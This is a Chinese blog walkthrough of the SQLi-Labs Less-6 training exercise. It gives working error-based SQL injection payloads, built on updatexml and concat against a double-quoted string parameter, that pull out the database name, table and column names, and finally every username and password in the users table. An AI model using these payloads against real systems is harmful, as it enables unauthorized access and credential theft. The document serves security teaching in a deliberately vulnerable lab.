Less-6(GET-Double injection-Double Quotes-String)
打开Less-6页面，可以看到页面中间有一句Please input the ID as parameter with numeric value，那么先使用ID这个参数通过GET方式传入一个数值。
确定注入点
注入语句：?id=1。
从上图可以看出传入id=1并没有回显查询结果，接着试一下?id=1'，并没有任何异常，那么尝试一下?id=1",发现在引号附近产生歧义导致了报错。并且通过报错信息可以看出闭合SQL语句时用的是双引号。这时可以考虑使用报错注入（有关报错注入）。
使用注入语句：?id=1" --+看看是否能够正常闭合并注释,从下图看出是没有问题的。
确定当前数据库名
注入语句：?id=1" and updatexml(1,concat(0x7e,(select database())),1) --+。其中，concat函数用于连接两个字符串，形成一个字符串,concat('a','b')='ab'，这样当爆出多个信息时，可以通过~进行分割。
从报错信息中可以看出，当前数据库为security。
确定数据库中的数据表
注入语句：?id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),1) --+
确定users表中的列名
注入语句：?id=1" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database())),1) --+
通过上述注入可以得知users表中存在三列，分别为id、username、password。
确定users表中的用户名和密码
注入语句：?id=1" and updatexml(1,concat(0x7e,substring((select group_concat(concat(username,'^',password)) from users),1,31)),1) --+
从上图可以看出，爆出的账号密码长度超出了32，所以需要继续使用substring（）函数每隔32位截取一次，最终拼凑出全部内容。
至此，就得到了当前表中所有的用户名和密码。
标签：语句,users,Less,LABS,SQLI,报错,id,concat,注入 From： https://www.cnblogs.com/Timesi/p/16661415.html